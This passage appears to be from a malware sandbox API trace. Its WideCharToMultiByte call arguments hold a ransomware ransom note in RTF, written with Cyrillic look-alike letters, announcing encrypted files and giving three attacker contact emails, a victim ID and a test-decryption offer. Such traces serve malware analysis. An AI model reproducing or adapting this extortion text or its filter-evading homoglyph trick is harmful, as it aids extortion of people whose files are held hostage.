\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u 